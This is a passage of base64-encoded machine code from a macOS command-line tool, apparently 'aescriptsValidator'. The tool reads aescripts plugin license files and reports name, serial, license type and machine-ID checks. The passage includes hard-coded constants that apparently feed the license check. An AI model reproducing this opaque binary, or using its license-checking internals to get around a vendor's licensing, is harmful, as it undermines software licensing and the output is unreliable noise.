9WPb//+i5BQAA61ZIicNIi4Xg+f//SI146Eg7PZIbAAB0Mrn/////8A/BSPiFyX8kSI21SP///+gaBQAA6xbrEUiJw0iNvVj2///ocwUAAOsDSInDSInf6KIFAADoowUAAEiLhYD9//9IjXjoSDs9PxsAAHQauf/////wD8FI+IXJfwxIjbVA////6McEAABIi42I/f//SI156DHASDs9DxsAAHQeuv/////wD8FR+DHAhdJ/DkiNtTD////olQQAADHASIsNCBsAAEiLCUg7TdB1F0iBxJgJAABbQVxBXUFeQV9dw+gCBQAA6CcFAADo+AQAAFVIieVBV0FWU0iB7IgEAABJidZBifdIiftIiwW+GgAASIsASIlF4EiNNf4TAABMifcx0uhIBAAASIsFfxoAAEiDwBhIiYW4+///SI29sPv//0iJ3uhLBAAAQYD/AXVYSI2NYPv//78DgP//vmZlcnAx0ujzBAAA61ZIicNIi4Ww+///SI146Eg7PTAaAAAPhHMBAAC5//////APwUj4hckPj2EBAABIjbXA+///6LADAADpUAEAAEiNjWD7//+/BYD//75mZXJwMdLomwQAAEiNvWD7//9IjbXg+///ugAEAADoiQQAAEiNneD7//9Iid/obgQAAEiNvbj7//9Iid5IicLoeAMAAEiNvbj7//9IjTUXEwAAugUAAADoVAMAAEiNvbj7//9IjTUFEwAAugIAAADoPAMAAEiNvbj7//9IjTXwEgAAugIAAADoJAMAAEiNvbj7//9IjTXbEgAAugIAAADoDAMAAEiNvbj7//9IjTXGEgAAugMAAADo9AIAAEiNvbj7//9IjTWyEgAAugEAAADo3AIAAEiNvbj7//9IjbWw+///6M8CAABIjb24+///SI01iRIAALoEAAAA6LECAABIi4Ww+///SI146Eg7PekYAAB0Grn/////8A/BSPiFyX8MSI21yPv//+hxAgAAswFIjbW4+///TIn36IQCAADrEkiJw0iJ3+j7AgAAMNvo+gIAAEiLhbj7//9IjXjoSDs9lhgAAHQauf/////wD8FI+IXJfwxIjbXY+///6B4CAABIiwWTGAAASIsASDtF4HVJiNhIgcSIBAAAW0FeQV9dw0iJw0iLhbj7//9IjXjoSDs9RRgAAHQauf/////wD8FI+IXJfwxIjbXQ+///6M0BAABIid/oeQIAAOiAAgAAVUiJ5UFXQVZBVFNIifNJif9JOd91DUyLNf8XAABJg8YY60xMKftIid8x9uiWAQAASYnETY10JBhIg/sBdQhBigdBiAbrDkyJ90yJ/kiJ2uhQAgAAQcdEJBAAAAAASYkcJEiLBawXAACKAEGIRBwYTInwW0FcQV5BX13DkFVIieVBV0FWQVRTSInzSYn+STnedQ1Miz2DFwAASYPHGOtWTYX2dQVJOd51WEwp80iJ3zH26BABAABJicRNjXwkGEiD+wF1CEGKBkGIB+sOTIn/TIn2SIna6MoBAABBx0QkEAAAAABJiRwkSIsFJhcAAIoAQYhEHBhMifhbQVxBXkFfXcNIjT1DEAAA6EMBAACQkJCQkJCQkJCQkJCQkJBVSInlU1BIjR2FGQAASInf6A0BAABIiz3sFgAASI0Vrab//0iJ3kiDxAhbXektAQAAkP8lABcAAP8lAhcAAP8lBBcAAP8lBhcAAP8lCBcAAP8lChcAAP8lDBcAAP8lDhcAAP8lEBcAAP8lEhcAAP8lFBcAAP8lFhcAAP8lGBcAAP8lGhcAAP8lHBcAAP8lHhcAAP8lIBcAAP8lIhcAAP8lJBcAAP8lJhcAAP8lKBcAAP8lKhcAAP8lLBcAAP8lLhcAAP8lMBcAAP8lMhcAAP8lNBcAAP8lNhcAAP8lOBcAAP8lOhcAAP8lPBcAAP8lPhcAAP8lQBcAAP8lQhcAAP8lRBcAAP8lRhcAAP8lSBcAAP8lShcAAP8lTBcAAP8lThcAAP8lUBcAAP8lUhcAAP8lVBcAAP8lVhcAAP8lWBcAAP8lWhcAAP8lXBcAAP8lXhcAAP8lYBcAAP8lYhcAAP8lZBcAAP8lZhcAAP8laBcAAP8lahcAAP8lbBcAAP8lbhcAAP8lcBcAAP8lchcAAP8ldBcAAP8ldhcAAP8leBcAAP8lehcAAP8lfBcAAP8lfhcAAP8lgBcAAEyNHXEVAABBU/8lYRUAAJBoAAAAAOnm////aBoAAADp3P///2gzAAAA6dL///9ocAAAAOnI////aLAAAADpvv///2jlAAAA6bT///9oGwEAAOmq////aD8BAADpoP///2hWAQAA6Zb///9ofAEAAOmM////aJIBAADpgv///2imAQAA6Xj///9ovAEAAOlu////aNUBAADpZP///2j2AQAA6Vr///9oCAIAAOlQ////aCYCAADpRv///2hNAgAA6Tz///9odAIAAOky////aIsCAADpKP///2ilAgAA6R7///9ovwIAAOkU////aNkCAADpCv///2jzAgAA6QD///9oDwMAAOn2/v//aCkDAADp7P7//2hEAwAA6eL+//9oYAMAAOnY/v//aHUDAADpzv7//2iHAwAA6cT+//9owgMAAOm6/v//aAwEAADpsP7//2hDBAAA6ab+//9ofgQAAOmc/v//aMgEAADpkv7//2j/BAAA6Yj+//9oTwUAAOl+/v//aI8FAADpdP7//2ivBQAA6Wr+//9o8wUAAOlg/v//aEkGAADpVv7//2huBgAA6Uz+//9oAAAAAOlC/v//aAAAAADpOP7//2iGBgAA6S7+//9ooAYAAOkk/v//aLgGAADpGv7//2jPBgAA6RD+//9o5AYAAOkG/v//aP0GAADp/P3//2gKBwAA6fL9//9oFwcAAOno/f//aCQHAADp3v3//2g4BwAA6dT9//9oSwcAAOnK/f//aFoHAADpwP3//2hzBwAA6bb9//9ogwcAAOms/f//aJIHAADpov3//2ihBwAA6Zj9//9osAcAAOmO/f//aMUHAADphP3///+btoCAAAM0AAAAAG8BAAAAAAAAAG8BAAAFAAAAEQUAAACjAQAAGwMAAL0BAAAAvgQAAGMAAAAAAAAAAP+bvAADNAAAAABhAAAAAAAAAABhAAAALwAAAKgAAAAAqwAAAAgAAAC7AAAAAbMAAAANAAAAAAAAAAABAAAAAAD/m10DW3QAAAATAAAAewIAAACHAAAADgAAALYAAAAAlQAAAAsAAAC7AAAAAKAAAABRAQAAAAAAAADxAQAAFAAAADYCAAAAEwIAAAkAAAA4AgAAABwCAABqAAAAAAAAAAD/m7wAAzQAAAAAFQAAAAAAAAAAFQAAAAsAAAAoAAAAACsAAAAIAAAAOwAAAAEzAAAADQAAAAAAAAAAAQAAAAAA/5vPiQADxgknAAAAEwAAAEQmAAAAdgAAAM4AAABvBAAAAEQBAAATAAAAiwMAAACOAQAAGQAAAG8EAAAApwEAABMAAADEAwAAAPEBAAAZAAAAbwQAAAAKAgAAEwAAAP0DAAAAVgIAABkAAABvBAAAAG8CAAATAAAANgQAAAC7AgAAHAAAAG8EAAA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6OnN1YnN0cgAAL2NvbS4AYWUAc2MAcmkAcHRzAC4ALmxpYwABAAAAHAAAAAMAAAAoAAAAAQAAACwAAAACAAAA0VgFUQAAAAEBAAEBSHAAAFANAACMAAAARAAAAGJZAAAAAAAAjAAAAIwNAABkXQAA8RIAAKBdAACxEwAA4F0AADcWAACAXgAACz4AAEBeAAC6PwAAVGMAACxJAABcZQAA1E8AACxmAAByVQAA9GQAAAMAAAAMABMAWAAGAAAAAAg8AAAAYAUAApEFAAGhBQAAYQYAAOcIAAA2LwAHVDAAAbswAAb8MAABRDEABeAxAAJqMgAA3DsAAIRCAAAiSAAExEoAA+BLAAIRCwQBYQEDUWEBAwEhAAJR0VgFAQAAAAAAAAAcAAAAAAAAAAF6UExSAAF4EAebfQUAABAQDAcIkAEAADQAAAAkAAAArKL///////8hBQAAAAAAAAhz8v///////0EOEIYCQw0GUIMHjAaNBY4EjwMAAAAAFAAAAAAAAAABelIAAXgQARAMBwiQAQAAJAAAABwAAACAp////////zEAAAAAAAAAAEEOEIYCQw0GQoMDAAAAABQAAAAAAAAAAXpSAAF4EAEQDAcIkAEAACQAAAAcAAAAcaf///////8IAAAAAAAAAABBDhCGAkMNBgAAAAAAAAAkAAAARAAAAFGn////////CAAAAAAAAAAAQQ4QhgJDDQYAAAAAAAAAHAAAAAAAAAABelBMUgABeBAHm30EAAAQEAwHCJABAAA0AAAAJAAAABGn////////wAAAAAAAAAAIr/H///////9BDhCGAkMNBk2DB4wGjQWOBI8DAAAAADQAAABcAAAAmaf///////+GAgAAAAAAAAi38f///////0EOEIYCQw0GTYMHjAaNBY4EjwMAAAAALAAAAJQAAAC70f///////0AAAAAAAAAACN/x////////QQ4QhgJDDQZDgwSOAwAANAAAAMQAAAC3qf///////08mAAAAAAAACO/x////////QQ4QhgJDDQZQgweMBo0FjgSPAwAAAAAsAAAAZAEAAM7P////////HgEAAAAAAAAAQQ4QhgJDDQZKgweMBo0FjgSPAwAAAAAkAAAAlAEAALzQ////////CwAAAAAAAAAAQQ4QhgJDDQYAAAAAAAAAJAAAALwBAACf0P///////zsAAAAAAAAAAEEOEIYCQw0GAAAAAAAAACQAAADkAQAAstD///////8LAAAAAAAAAABBDhCGAkMNBgAAAAAAAAAkAAAADAIAAJXQ////////CwAAAAAAAAAAQQ4QhgJDDQYAAAAAAAAAJAAAADQCAAB40P///////wsAAAAAAAAAAEEOEIYCQw0GAAAAAAAAABQAAAAAAAAAAXpSAAF4EAEQDAcIkAEAACQAAAAcAAAAhND///////9IAAAAAAAAAABBDhCGAkMNBgAAAAAAAAAkAAAARAAAAKTQ////////kwAAAAAAAAAAQQ4QhgJDDQZGgwWOBI8DJAAAAGwAAAAY0f///////zEAAAAAAAAAAEEOEIYCQw0GQoMDAAAAABQAAAAAAAAAAXpSAAF4EAEQDAcIkAEAACQAAAAcAAAACdH///////9ZAAAAAAAAAABBDhCGAkMNBkKDAwAAAAAcAAAAAAAAAAF6UExSAAF4EAebvQEAABAQDAcIkAEAADQAAAAkAAAAGtH///////9yCQAAAAAAAAij9P///////0EOEIYCQw0GUIMHjAaNBY4EjwMAAAAALAAAAFwAAACa5v///////6ICAAAAAAAACAv2////////QQ4QhgJDDQZMgwWOBI8DNAAAAIwAAAAk2v///////6gGAAAAAAAACEP2////////QQ4QhgJDDQZQgweMBo0FjgSPAwAAAAA0AAAAxAAAAJTg////////ngUAAAAAAAAI2/b///////9BDhCGAkMNBlCDB4wGjQWOBI8DAAAAACwAAAA8AQAAnOj///////97AAAAAAAAAABBDhCGAkMNBkeDBowFjgSPAwAAAAAAACwAAABsAQAA6Oj///////+RAAAAAAAAAABBDhCGAkMNBkeDBowFjgSPAwAAAAAAACQAAACcAQAAWOn///////8xAAAAAAAAAABBDhCGAkMNBkKDAwAAAAAAAAAAAAAAAAAAAAABAAAAoHIAAAEAAACocgAAAQAAALByAAABAAAAuHIAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACz4AAAEAAAByVQAAAQAAABRYAAABAAAA+FoAAAEAAAACWwAAAQAAAAxbAAABAAAAFlsAAAEAAAAgWwAAAQAAACpbAAABAAAANFsAAAEAAAA+WwAAAQAAAEhbAAABAAAAUlsAAAEAAABcWwAAAQAAAGZbAAABAAAAcFsAAAEAAAB6WwAAAQAAAIRbAAABAAAAjlsAAAEAAACYWwAAAQAAAKJbAAABAAAArFsAAAEAAAC2WwAAAQAAAMBbAAABAAAAylsAAAEAAADUWwAAAQAAAN5bAAABAAAA6FsAAAEAAADyWwAAAQAAAPxbAAABAAAABlwAAAEAAAAQXAAAAQAAABpcAAABAAAAJFwAAAEAAAAuXAAAAQAAADhcAAABAAAAQlwAAAEAAABMXAAAAQAAAFZcAAABAAAAYFwAAAEAAABqXAAAAQAAAHRcAAABAAAAflwAAAEAAACIXAAAAQAAAJJcAAABAAAAnFwAAAEAAACmXAAAAQAAALBcAAABAAAAulwAAAEAAADEXAAAAQAAAM5cAAABAAAA2FwAAAEAAADiXAAAAQAAAOxcAAABAAAA9lwAAAEAAAAAXQAAAQAAAApdAAABAAAAFF0AAAEAAAAeXQAAAQAAAChdAAABAAAAMl0AAAEAAAA8XQAAAQAAAEZdAAABAAAAUF0AAAEAAABaXQAAAQAAALASAAABAAAAMD8AAAEAAAAwWQAAAQAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARIgBVSGBEABRAX19aTlNzNF9SZXAxMV9TX3Rlcm1pbmFsRQBRciiQQF9fWk5TczRfUmVwMjBfU19lbXB0eV9yZXBfc3RvcmFnZUUAoNgEYBiQkEBfX1pOU3Q4aW9zX2Jhc2U0SW5pdEQxRXYAgJj7/////////wFgAJBAX19aU3Q0Y291dACQQF9fWmRhUHYAgIgDkEBfX1puYW0AkEBfX19neHhfcGVyc29uYWxpdHlfdjAAgOj8/////////wGQFUBfX19zdGFja19jaGtfZ3VhcmQAkEBkeWxkX3N0dWJfYmluZGVyAJAAAAAAAABAX19aTjlhZXNjcmlwdHM3Z2V0UGF0aEVTc2JSU3MAUXJwkEBfX1pOU3MxMl9TX2NvbnN0cnVjdElOOV9fZ251X2N4eDE3X19ub3JtYWxfaXRlcmF0b3JJUGNTc0VFRUVTMl9UX1M0X1JLU2FJY0VTdDIwZm9yd2FyZF9pdGVyYXRvcl90YWcAkEBfX1pTdHBsSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVTYklUX1QwX1QxX0VSS1M2X1M4XwCA6P//////////AZBAX19aZGFQdgCA4AKQQF9fWm5hbQCQAAAAAAAAcoABFEBfX1pOS1NzNGZpbmRFUEtjbW0AkAByiAEUQF9fWk5LU3M2c3Vic3RyRW1tAJAAcpABFEBfX1pOS1N0MTNiYXNpY19maWxlYnVmSWNTdDExY2hhcl90cmFpdHNJY0VFN2lzX29wZW5FdgCQAHKYARRAX19aTktTdDE1YmFzaWNfc3RyaW5nYnVmSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUUzc3RyRXYAkAByoAEUQF9fWk5LU3Q5YmFzaWNfaW9zSWNTdDExY2hhcl90cmFpdHNJY0VFNGZpbGxFdgCQAHKoARRAX19aTktTdDliYXNpY19pb3NJY1N0MTFjaGFyX3RyYWl0c0ljRUU1d2lkZW5FYwCQAHKwARRAX19aTlNpMTBfTV9leHRyYWN0SW1FRVJTaVJUXwCQAHK4ARRAX19aTlNpNHJlYWRFUGNsA